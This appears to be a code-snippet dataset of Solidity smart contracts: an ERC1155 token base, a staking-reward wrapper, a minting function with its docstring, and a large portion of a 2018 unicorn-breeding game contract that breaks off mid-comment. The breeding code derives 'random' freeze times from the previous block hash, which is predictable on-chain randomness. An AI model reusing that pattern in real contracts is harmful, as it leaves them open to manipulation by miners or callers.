self"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][from] = _balances[id][from].sub(amount, "ERC1155: insufficient balance for transfer"); _balances[id][to] = _balances[id][to].add(amount); emit TransferSingle(operator, from, to, id, amount); _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); require(to != address(0), "ERC1155: transfer to the zero address"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); address operator = _msgSender(); _beforeTokenTransfer(operator, from, to, ids, amounts, data); for (uint256 i = 0; i < ids.length; ++i) { uint256 id = ids[i]; uint256 amount = amounts[i]; _balances[id][from] = _balances[id][from].sub( amount, "ERC1155: insufficient balance for transfer" ); _balances[id][to] = _balances[id][to].add(amount); } emit TransferBatch(operator, from, to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data); } /** * @dev Sets a new URI for all token types, by relying on the token type ID * substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * By this mechanism, any occurrence of the `\{id\}` substring in either the * URI or any of the amounts in the JSON file at said URI will be replaced by * clients with the token type ID. * * For example, the `https://token-cdn-domain/\{id\}.json` URI would be * interpreted by clients as * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json` * for token type ID 0x4cce0. * * See {uri}. * * Because these URIs cannot be meaningfully represented by the {URI} event, * this function emits no events. */ function _setURI(string memory newuri) internal virtual { _uri = newuri; } /** * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`. * * Emits a {TransferSingle} event. * * Requirements: * * - `account` cannot be the zero address. * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual { require(account != address(0), "ERC1155: mint to the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data); _balances[id][account] = _balances[id][account].add(amount); emit TransferSingle(operator, address(0), account, id, amount); _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual { require(to != address(0), "ERC1155: mint to the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, address(0), to, ids, amounts, data); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][to] = amounts[i].add(_balances[ids[i]][to]); } emit TransferBatch(operator, address(0), to, ids, amounts); _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data); } /** * @dev Destroys `amount` tokens of token type `id` from `account` * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens of token type `id`. */ function _burn(address account, uint256 id, uint256 amount) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), ""); _balances[id][account] = _balances[id][account].sub( amount, "ERC1155: burn amount exceeds balance" ); emit TransferSingle(operator, account, address(0), id, amount); } /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}. * * Requirements: * * - `ids` and `amounts` must have the same length. */ function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual { require(account != address(0), "ERC1155: burn from the zero address"); require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch"); address operator = _msgSender(); _beforeTokenTransfer(operator, account, address(0), ids, amounts, ""); for (uint i = 0; i < ids.length; i++) { _balances[ids[i]][account] = _balances[ids[i]][account].sub( amounts[i], "ERC1155: burn amount exceeds balance" ); } emit TransferBatch(operator, account, address(0), ids, amounts); } /** * @dev Hook that is called before any token transfer. This includes minting * and burning, as well as batched variants. * * The same hook is called on both single and batched variants. For single * transfers, the length of the `id` and `amount` arrays will be 1. * * Calling conditions (for each `id` and `amount` pair): * * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens * of token type `id` will be transferred to `to`. * - When `from` is zero, `amount` tokens of token type `id` will be minted * for `to`. * - when `to` is zero, `amount` of ``from``'s tokens of token type `id` * will be burned. * - `from` and `to` are never both zero. * - `ids` and `amounts` have the same, non-zero length. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) internal virtual { } function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _doSafeBatchTransferAcceptanceCheck( address operator, address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) private { if (to.isContract()) { try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) { if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } } function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) { uint256[] memory array = new uint256[](1); array[0] = element; return array; } } // File: WStakingRewards.sol contract WStakingRewards is ERC1155('WStakingRewards'), ReentrancyGuard, IERC20Wrapper { using SafeMath for uint; using HomoraMath for uint; using SafeERC20 for IERC20; address public immutable staking; // Staking reward contract address address public immutable underlying; // Underlying token address address public immutable reward; // Reward token address constructor( address _staking, address _underlying, address _reward ) public { staking = _staking; underlying = _underlying; reward = _reward; IERC20(_underlying).safeApprove(_staking, uint(-1)); } /// @dev Return the underlying ERC20 for the given ERC1155 token id. function getUnderlyingToken(uint) external view override returns (address) { return underlying; } /// @dev Return the conversion rate from ERC1155 to ERC20, multiplied 2**112. function getUnderlyingRate(uint) external view override returns (uint) { return 2**112; } /// @dev Mint ERC1155 token for the specified amount /// @param amount Token amount to wrap function mint(uint amount) external nonReentrant returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); IStakingRewards(staking).stake(amount); uint rewardPerToken = IStakingRewards(staking).rewardPerToken(); _mint(msg.sender, rewardPerToken, amount, ''); return rewardPerToken; } /// @dev Burn ERC1155 token to redeem ERC20 token back. /// @param id Token id to burn /// @param amount Token amount to burn function burn(uint id, uint amount) external nonReentrant returns (uint) { if (amount == uint(-1)) { amount = balanceOf(msg.sender, id); } _burn(msg.sender, id, amount); IStakingRewards(staking).withdraw(amount); IStakingRewards(staking).getReward(); IERC20(underlying).safeTransfer(msg.sender, amount); uint stRewardPerToken = id; uint enRewardPerToken = IStakingRewards(staking).rewardPerToken(); uint stReward = stRewardPerToken.mul(amount).divCeil(1e18); uint enReward = enRewardPerToken.mul(amount).div(1e18); if (enReward > stReward) { IERC20(reward).safeTransfer(msg.sender, enReward.sub(stReward)); } return enRewardPerToken; } }
Mint ERC1155 token for the specified amount amount Token amount to wrap
function mint(uint amount) external nonReentrant returns (uint) { IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount); IStakingRewards(staking).stake(amount); uint rewardPerToken = IStakingRewards(staking).rewardPerToken(); _mint(msg.sender, rewardPerToken, amount, ''); return rewardPerToken; }
7,633,085
./full_match/80001/0x03361Fa7E2fE1F3D9EaAAFAe24A053ae533664Ee/sources/contracts/Contract.sol
Lets an account with MINTER_ROLE mint an NFT. `_mintTo` is re-used. `mintTo` just adds a minter role check.
function mintTo( address _to, string calldata _uri ) external onlyRole(MINTER_ROLE) returns (uint256) { return _mintTo(_to, _uri); }
857,142
//Address: 0x500bdb15c836cd6562c8624b7441fef6eca5786a //Contract name: UnicornContract //Balance: 0.0957875 Ether //Verification Date: 6/4/2018 //Transacion Count: 754 // CODE STARTS HERE pragma solidity 0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract UnicornManagementInterface { function ownerAddress() external view returns (address); function managerAddress() external view returns (address); function communityAddress() external view returns (address); function dividendManagerAddress() external view returns (address); function walletAddress() external view returns (address); function blackBoxAddress() external view returns (address); function unicornBreedingAddress() external view returns (address); function geneLabAddress() external view returns (address); function unicornTokenAddress() external view returns (address); function candyToken() external view returns (address); function candyPowerToken() external view returns (address); function createDividendPercent() external view returns (uint); function sellDividendPercent() external view returns (uint); function subFreezingPrice() external view returns (uint); function subFreezingTime() external view returns (uint64); function subTourFreezingPrice() external view returns (uint); function subTourFreezingTime() external view returns (uint64); function createUnicornPrice() external view returns (uint); function createUnicornPriceInCandy() external view returns (uint); function oraclizeFee() external view returns (uint); function paused() external view returns (bool); function locked() external view returns (bool); function isTournament(address _tournamentAddress) external view returns (bool); function getCreateUnicornFullPrice() external view returns (uint); function getHybridizationFullPrice(uint _price) external view returns (uint); function getSellUnicornFullPrice(uint _price) external view returns (uint); function getCreateUnicornFullPriceInCandy() external view returns (uint); //service function registerInit(address _contract) external; } contract UnicornAccessControl { UnicornManagementInterface public unicornManagement; function UnicornAccessControl(address _unicornManagementAddress) public { unicornManagement = UnicornManagementInterface(_unicornManagementAddress); unicornManagement.registerInit(this); } modifier onlyOwner() { require(msg.sender == unicornManagement.ownerAddress()); _; } modifier onlyManager() { require(msg.sender == unicornManagement.managerAddress()); _; } modifier onlyCommunity() { require(msg.sender == unicornManagement.communityAddress()); _; } modifier onlyTournament() { require(unicornManagement.isTournament(msg.sender)); _; } modifier whenNotPaused() { require(!unicornManagement.paused()); _; } modifier whenPaused { require(unicornManagement.paused()); _; } // modifier whenUnlocked() { // require(!unicornManagement.locked()); // _; // } modifier onlyManagement() { require(msg.sender == address(unicornManagement)); _; } modifier onlyBreeding() { require(msg.sender == unicornManagement.unicornBreedingAddress()); _; } modifier onlyUnicornContract() { require(msg.sender == unicornManagement.unicornBreedingAddress() || unicornManagement.isTournament(msg.sender)); _; } modifier onlyGeneLab() { require(msg.sender == unicornManagement.geneLabAddress()); _; } modifier onlyBlackBox() { require(msg.sender == unicornManagement.blackBoxAddress()); _; } modifier onlyUnicornToken() { require(msg.sender == unicornManagement.unicornTokenAddress()); _; } function isGamePaused() external view returns (bool) { return unicornManagement.paused(); } } contract DividendManagerInterface { function payDividend() external payable; } contract UnicornTokenInterface { //ERC721 function balanceOf(address _owner) public view returns (uint256 _balance); function ownerOf(uint256 _unicornId) public view returns (address _owner); function transfer(address _to, uint256 _unicornId) public; function approve(address _to, uint256 _unicornId) public; function takeOwnership(uint256 _unicornId) public; function totalSupply() public constant returns (uint); function owns(address _claimant, uint256 _unicornId) public view returns (bool); function allowance(address _claimant, uint256 _unicornId) public view returns (bool); function transferFrom(address _from, address _to, uint256 _unicornId) public; function createUnicorn(address _owner) external returns (uint); // function burnUnicorn(uint256 _unicornId) external; function getGen(uint _unicornId) external view returns (bytes); function setGene(uint _unicornId, bytes _gene) external; function updateGene(uint _unicornId, bytes _gene) external; function getUnicornGenByte(uint _unicornId, uint _byteNo) external view returns (uint8); function setName(uint256 _unicornId, string _name ) external returns (bool); function plusFreezingTime(uint _unicornId) external; function plusTourFreezingTime(uint _unicornId) external; function minusFreezingTime(uint _unicornId, uint64 _time) external; function minusTourFreezingTime(uint _unicornId, uint64 _time) external; function isUnfreezed(uint _unicornId) external view returns (bool); function isTourUnfreezed(uint _unicornId) external view returns (bool); function marketTransfer(address _from, address _to, uint256 _unicornId) external; } interface UnicornBalancesInterface { // function tokenPlus(address _token, address _user, uint _value) external returns (bool); // function tokenMinus(address _token, address _user, uint _value) external returns (bool); function trustedTokens(address _token) external view returns (bool); // function balanceOf(address token, address user) external view returns (uint); function transfer(address _token, address _from, address _to, uint _value) external returns (bool); function transferWithFee(address _token, address _userFrom, uint _fullPrice, address _feeTaker, address _priceTaker, uint _price) external returns (bool); } contract ERC20 { // uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); } contract TrustedTokenInterface is ERC20 { function transferFromSystem(address _from, address _to, uint256 _value) public returns (bool); function burn(address _from, uint256 _value) public returns (bool); function mint(address _to, uint256 _amount) public returns (bool); } // contract UnicornBreedingInterface { // function deleteOffer(uint _unicornId) external; // function deleteHybridization(uint _unicornId) external; // } contract BlackBoxInterface { function createGen0(uint _unicornId) public payable; function geneCore(uint _childUnicornId, uint _parent1UnicornId, uint _parent2UnicornId) public payable; } interface BreedingDataBaseInterface { function gen0Limit() external view returns (uint); function gen0Count() external view returns (uint); function gen0Step() external view returns (uint); function gen0PresaleLimit() external view returns (uint); function gen0PresaleCount() external view returns (uint); function incGen0Count() external; function incGen0PresaleCount() external; function incGen0Limit() external; function createHybridization(uint _unicornId, uint _price) external; function hybridizationExists(uint _unicornId) external view returns (bool); function hybridizationPrice(uint _unicornId) external view returns (uint); function deleteHybridization(uint _unicornId) external returns (bool); function freezeIndex(uint _unicornId) external view returns (uint); function freezeHybridizationsCount(uint _unicornId) external view returns (uint); function freezeStatsSumHours(uint _unicornId) external view returns (uint); function freezeEndTime(uint _unicornId) external view returns (uint); function freezeMustCalculate(uint _unicornId) external view returns (bool); function freezeExists(uint _unicornId) external view returns (bool); function createFreeze(uint _unicornId, uint _index) external; function incFreezeHybridizationsCount(uint _unicornId) external; function setFreezeHybridizationsCount(uint _unicornId, uint _count) external; function incFreezeIndex(uint _unicornId) external; function setFreezeEndTime(uint _unicornId, uint _time) external; function minusFreezeEndTime(uint _unicornId, uint _time) external; function setFreezeMustCalculate(uint _unicornId, bool _mustCalculate) external; function setStatsSumHours(uint _unicornId, uint _statsSumHours) external; function offerExists(uint _unicornId) external view returns (bool); function offerPriceEth(uint _unicornId) external view returns (uint); function offerPriceCandy(uint _unicornId) external view returns (uint); function createOffer(uint _unicornId, uint _priceEth, uint _priceCandy) external; function deleteOffer(uint _unicornId) external; } contract UnicornBreeding is UnicornAccessControl { using SafeMath for uint; BlackBoxInterface public blackBox; TrustedTokenInterface public megaCandyToken; BreedingDataBaseInterface public breedingDB; UnicornTokenInterface public unicornToken; //only on deploy UnicornBalancesInterface public balances; address public candyTokenAddress; event HybridizationAdd(uint indexed unicornId, uint price); event HybridizationAccept(uint indexed firstUnicornId, uint indexed secondUnicornId, uint newUnicornId, uint price); event SelfHybridization(uint indexed firstUnicornId, uint indexed secondUnicornId, uint newUnicornId, uint price); event HybridizationDelete(uint indexed unicornId); event CreateUnicorn(address indexed owner, uint indexed unicornId, uint parent1, uint parent2); event NewGen0Limit(uint limit); event NewGen0Step(uint step); event FreeHybridization(uint256 indexed unicornId); event NewSelfHybridizationPrice(uint percentCandy); event UnicornFreezingTimeSet(uint indexed unicornId, uint time); event MinusFreezingTime(uint indexed unicornId, uint count); uint public selfHybridizationPrice = 0; uint32[8] internal freezing = [ uint32(1 hours), //1 hour uint32(2 hours), //2 - 4 hours uint32(8 hours), //8 - 12 hours uint32(16 hours), //16 - 24 hours uint32(36 hours), //36 - 48 hours uint32(72 hours), //72 - 96 hours uint32(120 hours), //120 - 144 hours uint32(168 hours) //168 hours ]; //count for random plus from 0 to .. uint32[8] internal freezingPlusCount = [ 0, 3, 5, 9, 13, 25, 25, 0 ]; function makeHybridization(uint _unicornId, uint _price) whenNotPaused public { require(unicornToken.owns(msg.sender, _unicornId)); require(isUnfreezed(_unicornId)); require(!breedingDB.hybridizationExists(_unicornId)); require(unicornToken.getUnicornGenByte(_unicornId, 10) > 0); checkFreeze(_unicornId); breedingDB.createHybridization(_unicornId, _price); emit HybridizationAdd(_unicornId, _price); //свободная касса) if (_price == 0) { emit FreeHybridization(_unicornId); } } function acceptHybridization(uint _firstUnicornId, uint _secondUnicornId) whenNotPaused public payable { require(unicornToken.owns(msg.sender, _secondUnicornId)); require(_secondUnicornId != _firstUnicornId); require(isUnfreezed(_firstUnicornId) && isUnfreezed(_secondUnicornId)); require(breedingDB.hybridizationExists(_firstUnicornId)); require(unicornToken.getUnicornGenByte(_firstUnicornId, 10) > 0 && unicornToken.getUnicornGenByte(_secondUnicornId, 10) > 0); require(msg.value == unicornManagement.oraclizeFee()); uint price = breedingDB.hybridizationPrice(_firstUnicornId); if (price > 0) { uint fullPrice = unicornManagement.getHybridizationFullPrice(price); require(balances.transferWithFee(candyTokenAddress, msg.sender, fullPrice, balances, unicornToken.ownerOf(_firstUnicornId), price)); } plusFreezingTime(_firstUnicornId); plusFreezingTime(_secondUnicornId); uint256 newUnicornId = unicornToken.createUnicorn(msg.sender); blackBox.geneCore.value(unicornManagement.oraclizeFee())(newUnicornId, _firstUnicornId, _secondUnicornId); emit HybridizationAccept(_firstUnicornId, _secondUnicornId, newUnicornId, price); emit CreateUnicorn(msg.sender, newUnicornId, _firstUnicornId, _secondUnicornId); _deleteHybridization(_firstUnicornId); } function selfHybridization(uint _firstUnicornId, uint _secondUnicornId) whenNotPaused public payable { require(unicornToken.owns(msg.sender, _firstUnicornId) && unicornToken.owns(msg.sender, _secondUnicornId)); require(_secondUnicornId != _firstUnicornId); require(isUnfreezed(_firstUnicornId) && isUnfreezed(_secondUnicornId)); require(unicornToken.getUnicornGenByte(_firstUnicornId, 10) > 0 && unicornToken.getUnicornGenByte(_secondUnicornId, 10) > 0); require(msg.value == unicornManagement.oraclizeFee()); if (selfHybridizationPrice > 0) { // require(balances.balanceOf(candyTokenAddress,msg.sender) >= selfHybridizationPrice); require(balances.transfer(candyTokenAddress, msg.sender, balances, selfHybridizationPrice)); } plusFreezingTime(_firstUnicornId); plusFreezingTime(_secondUnicornId); uint256 newUnicornId = unicornToken.createUnicorn(msg.sender); blackBox.geneCore.value(unicornManagement.oraclizeFee())(newUnicornId, _firstUnicornId, _secondUnicornId); emit SelfHybridization(_firstUnicornId, _secondUnicornId, newUnicornId, selfHybridizationPrice); emit CreateUnicorn(msg.sender, newUnicornId, _firstUnicornId, _secondUnicornId); } function cancelHybridization (uint _unicornId) whenNotPaused public { require(unicornToken.owns(msg.sender,_unicornId)); //require(breedingDB.hybridizationExists(_unicornId)); _deleteHybridization(_unicornId); } function deleteHybridization(uint _unicornId) onlyUnicornToken external { _deleteHybridization(_unicornId); } function _deleteHybridization(uint _unicornId) internal { if (breedingDB.deleteHybridization(_unicornId)) { emit HybridizationDelete(_unicornId); } } //Create new 0 gen function createUnicorn() public payable whenNotPaused returns(uint256) { require(msg.value == getCreateUnicornPrice()); return _createUnicorn(msg.sender); } function createUnicornForCandy() public payable whenNotPaused returns(uint256) { require(msg.value == unicornManagement.oraclizeFee()); uint price = getCreateUnicornPriceInCandy(); // require(balances.balanceOf(candyTokenAddress,msg.sender) >= price); require(balances.transfer(candyTokenAddress, msg.sender, balances, price)); return _createUnicorn(msg.sender); } function createPresaleUnicorns(uint _count, address _owner) public payable onlyManager whenPaused returns(bool) { require(breedingDB.gen0PresaleCount().add(_count) <= breedingDB.gen0PresaleLimit()); uint256 newUnicornId; address owner = _owner == address(0) ? msg.sender : _owner; for (uint i = 0; i < _count; i++){ newUnicornId = unicornToken.createUnicorn(owner); blackBox.createGen0(newUnicornId); emit CreateUnicorn(owner, newUnicornId, 0, 0); breedingDB.incGen0Count(); breedingDB.incGen0PresaleCount(); } return true; } function _createUnicorn(address _owner) private returns(uint256) { require(breedingDB.gen0Count() < breedingDB.gen0Limit()); uint256 newUnicornId = unicornToken.createUnicorn(_owner); blackBox.createGen0.value(unicornManagement.oraclizeFee())(newUnicornId); emit CreateUnicorn(_owner, newUnicornId, 0, 0); breedingDB.incGen0Count(); return newUnicornId; } function plusFreezingTime(uint _unicornId) private { checkFreeze(_unicornId); //если меньше 3 спарок увеличиваю просто спарки, если 3 тогда увеличиваю индекс if (breedingDB.freezeHybridizationsCount(_unicornId) < 3) { breedingDB.incFreezeHybridizationsCount(_unicornId); } else { if (breedingDB.freezeIndex(_unicornId) < freezing.length - 1) { breedingDB.incFreezeIndex(_unicornId); breedingDB.setFreezeHybridizationsCount(_unicornId,0); } } uint _time = _getFreezeTime(breedingDB.freezeIndex(_unicornId)) + now; breedingDB.setFreezeEndTime(_unicornId, _time); emit UnicornFreezingTimeSet(_unicornId, _time); } function checkFreeze(uint _unicornId) internal { if (!breedingDB.freezeExists(_unicornId)) { breedingDB.createFreeze(_unicornId, unicornToken.getUnicornGenByte(_unicornId, 163)); } if (breedingDB.freezeMustCalculate(_unicornId)) { breedingDB.setFreezeMustCalculate(_unicornId, false); breedingDB.setStatsSumHours(_unicornId, _getStatsSumHours(_unicornId)); } } function _getRarity(uint8 _b) internal pure returns (uint8) { // [1; 188] common // [189; 223] uncommon // [224; 243] rare // [244; 253] epic // [254; 255] legendary return _b < 1 ? 0 : _b < 189 ? 1 : _b < 224 ? 2 : _b < 244 ? 3 : _b < 254 ? 4 : 5; } function _getStatsSumHours(uint _unicornId) internal view returns (uint) { uint8[5] memory physStatBytes = [ //physical 112, //strength 117, //agility 122, //speed 127, //intellect 132 //charisma ]; uint8[10] memory rarity1Bytes = [ //rarity old 13, //body-form 18, //wings-form 23, //hoofs-form 28, //horn-form 33, //eyes-form 38, //hair-form 43, //tail-form 48, //stone-form 53, //ears-form 58 //head-form ]; uint8[10] memory rarity2Bytes = [ //rarity new 87, //body-form 92, //wings-form 97, //hoofs-form 102, //horn-form 107, //eyes-form 137, //hair-form 142, //tail-form 147, //stone-form 152, //ears-form 157 //head-form ]; uint sum = 0; uint i; for(i = 0; i < 5; i++) { sum += unicornToken.getUnicornGenByte(_unicornId, physStatBytes[i]); } for(i = 0; i < 10; i++) { //get v.2 rarity uint rarity = unicornToken.getUnicornGenByte(_unicornId, rarity2Bytes[i]); if (rarity == 0) { //get v.1 rarity rarity = _getRarity(unicornToken.getUnicornGenByte(_unicornId, rarity1Bytes[i])); } sum += rarity; } return sum * 1 hours; } function isUnfreezed(uint _unicornId) public view returns (bool) { return unicornToken.isUnfreezed(_unicornId) && breedingDB.freezeEndTime(_unicornId) <= now; } function enableFreezePriceRateRecalc(uint _unicornId) onlyGeneLab external { breedingDB.setFreezeMustCalculate(_unicornId, true); } /* (сумма генов + количество часов заморозки)/количество часов заморозки = стоимость снятия 1го часа заморозки в MegaCandy */ function getUnfreezingPrice(uint _unicornId) public view returns (uint) { uint32 freezeHours = freezing[breedingDB.freezeIndex(_unicornId)]; return unicornManagement.subFreezingPrice() .mul(breedingDB.freezeStatsSumHours(_unicornId).add(freezeHours)) .div(freezeHours); } function _getFreezeTime(uint freezingIndex) internal view returns (uint time) { time = freezing[freezingIndex]; if (freezingPlusCount[freezingIndex] != 0) { time += (uint(block.blockhash(block.number - 1)) % freezingPlusCount[freezingIndex]) * 1 hours; } } //change freezing time for megacandy function minusFreezingTime(uint _unicornId, uint _count) public { uint price = getUnfreezingPrice(_unicornId); require(megaCandyToken.burn(msg.sender, price.mul(_count))); //не минусуем на уже размороженных конях require(breedingDB.freezeEndTime(_unicornId) > now); //не используем safeMath, т.к. subFreezingTime в теории не должен быть больше now %) breedingDB.minusFreezeEndTime(_unicornId, uint(unicornManagement.subFreezingTime()).mul(_count)); emit MinusFreezingTime(_unicornId,_count); } function getHybridizationPrice(uint _unicornId) public view returns (uint) { return unicornManagement.getHybridizationFullPrice(breedingDB.hybridizationPrice(_unicornId)); } function getEtherFeeForPriceInCandy() public view returns (uint) { return unicornManagement.oraclizeFee(); } function getCreateUnicornPriceInCandy() public view returns (uint) { return unicornManagement.getCreateUnicornFullPriceInCandy(); } function getCreateUnicornPrice() public view returns (uint) { return unicornManagement.getCreateUnicornFullPrice(); } function setGen0Limit() external onlyCommunity { require(breedingDB.gen0Count() == breedingDB.gen0Limit()); breedingDB.incGen0Limit(); emit NewGen0Limit(breedingDB.gen0Limit()); } function setSelfHybridizationPrice(uint _percentCandy) public onlyManager { selfHybridizationPrice = _percentCandy; emit NewSelfHybridizationPrice(_percentCandy); } } contract UnicornMarket is UnicornBreeding { uint public sellDividendPercentCandy = 375; //OnlyManager 4 digits. 10.5% = 1050 uint public sellDividendPercentEth = 375; //OnlyManager 4 digits. 10.5% = 1050 event NewSellDividendPercent(uint percentCandy, uint percentCandyEth); event OfferAdd(uint256 indexed unicornId, uint priceEth, uint priceCandy); event OfferDelete(uint256 indexed unicornId); event UnicornSold(uint256 indexed unicornId, uint priceEth, uint priceCandy); event FreeOffer(uint256 indexed unicornId); function sellUnicorn(uint _unicornId, uint _priceEth, uint _priceCandy) whenNotPaused public { require(unicornToken.owns(msg.sender, _unicornId)); require(!breedingDB.offerExists(_unicornId)); breedingDB.createOffer(_unicornId, _priceEth, _priceCandy); emit OfferAdd(_unicornId, _priceEth, _priceCandy); //налетай) if (_priceEth == 0 && _priceCandy == 0) { emit FreeOffer(_unicornId); } } function buyUnicornWithEth(uint _unicornId) whenNotPaused public payable { require(breedingDB.offerExists(_unicornId)); uint price = breedingDB.offerPriceEth(_unicornId); //Выставлять на продажу за 0 можно. Но нужно проверить чтобы и вторая цена также была 0 if (price == 0) { require(breedingDB.offerPriceCandy(_unicornId) == 0); } require(msg.value == getOfferPriceEth(_unicornId)); address owner = unicornToken.ownerOf(_unicornId); emit UnicornSold(_unicornId, price, 0); //deleteoffer вызовется внутри transfer unicornToken.marketTransfer(owner, msg.sender, _unicornId); owner.transfer(price); } function buyUnicornWithCandy(uint _unicornId) whenNotPaused public { require(breedingDB.offerExists(_unicornId)); uint price = breedingDB.offerPriceCandy(_unicornId); //Выставлять на продажу за 0 можно. Но нужно проверить чтобы и вторая цена также была 0 if (price == 0) { require(breedingDB.offerPriceEth(_unicornId) == 0); } address owner = unicornToken.ownerOf(_unicornId); if (price > 0) { uint fullPrice = getOfferPriceCandy(_unicornId); require(balances.transferWithFee(candyTokenAddress, msg.sender, fullPrice, balances, owner, price)); } emit UnicornSold(_unicornId, 0, price); //deleteoffer вызовется внутри transfer unicornToken.marketTransfer(owner, msg.sender, _unicornId); } function revokeUnicorn(uint _unicornId) whenNotPaused public { require(unicornToken.owns(msg.sender, _unicornId)); //require(breedingDB.offerExists(_unicornId)); _deleteOffer(_unicornId); } function deleteOffer(uint _unicornId) onlyUnicornToken external { _deleteOffer(_unicornId); } function _deleteOffer(uint _unicornId) internal { if (breedingDB.offerExists(_unicornId)) { breedingDB.deleteOffer(_unicornId); emit OfferDelete(_unicornId); } } function getOfferPriceEth(uint _unicornId) public view returns (uint) { uint priceEth = breedingDB.offerPriceEth(_unicornId); return priceEth.add(valueFromPercent(priceEth, sellDividendPercentEth)); } function getOfferPriceCandy(uint _unicornId) public view returns (uint) { uint priceCandy = breedingDB.offerPriceCandy(_unicornId); return priceCandy.add(valueFromPercent(priceCandy, sellDividendPercentCandy)); } function setSellDividendPercent(uint _percentCandy, uint _percentEth) public onlyManager { //no more then 25% require(_percentCandy < 2500 && _percentEth < 2500); sellDividendPercentCandy = _percentCandy; sellDividendPercentEth = _percentEth; emit NewSellDividendPercent(_percentCandy, _percentEth); } //1% - 100, 10% - 1000 50% - 5000 function valueFromPercent(uint _value, uint _percent) internal pure returns (uint amount) { uint _amount = _value.mul(_percent).div(10000); return (_amount); } } contract UnicornCoinMarket is UnicornMarket { uint public feeTake = 5000000000000000; // 0.5% percentage times (1 ether) mapping (address => mapping (bytes32 => uint)) public orderFills; // mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled) mapping (address => bool) public tokensWithoutFee; /// Logging Events event Trade(bytes32 indexed hash, address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give); /// Changes the fee on takes. function changeFeeTake(uint feeTake_) external onlyOwner { feeTake = feeTake_; } function setTokenWithoutFee(address _token, bool _takeFee) external onlyOwner { tokensWithoutFee[_token] = _takeFee; } //////////////////////////////////////////////////////////////////////////////// // Trading //////////////////////////////////////////////////////////////////////////////// /** * Facilitates a trade from one user to another. * Requires that the transaction is signed properly, the trade isn't past its expiration, and all funds are present to fill the trade. * Calls tradeBalances(). * Updates orderFills with the amount traded. * Emits a Trade event. * Note: tokenGet & tokenGive can be the Ethereum contract address. * Note: amount is in amountGet / tokenGet terms. * @param tokenGet Ethereum contract address of 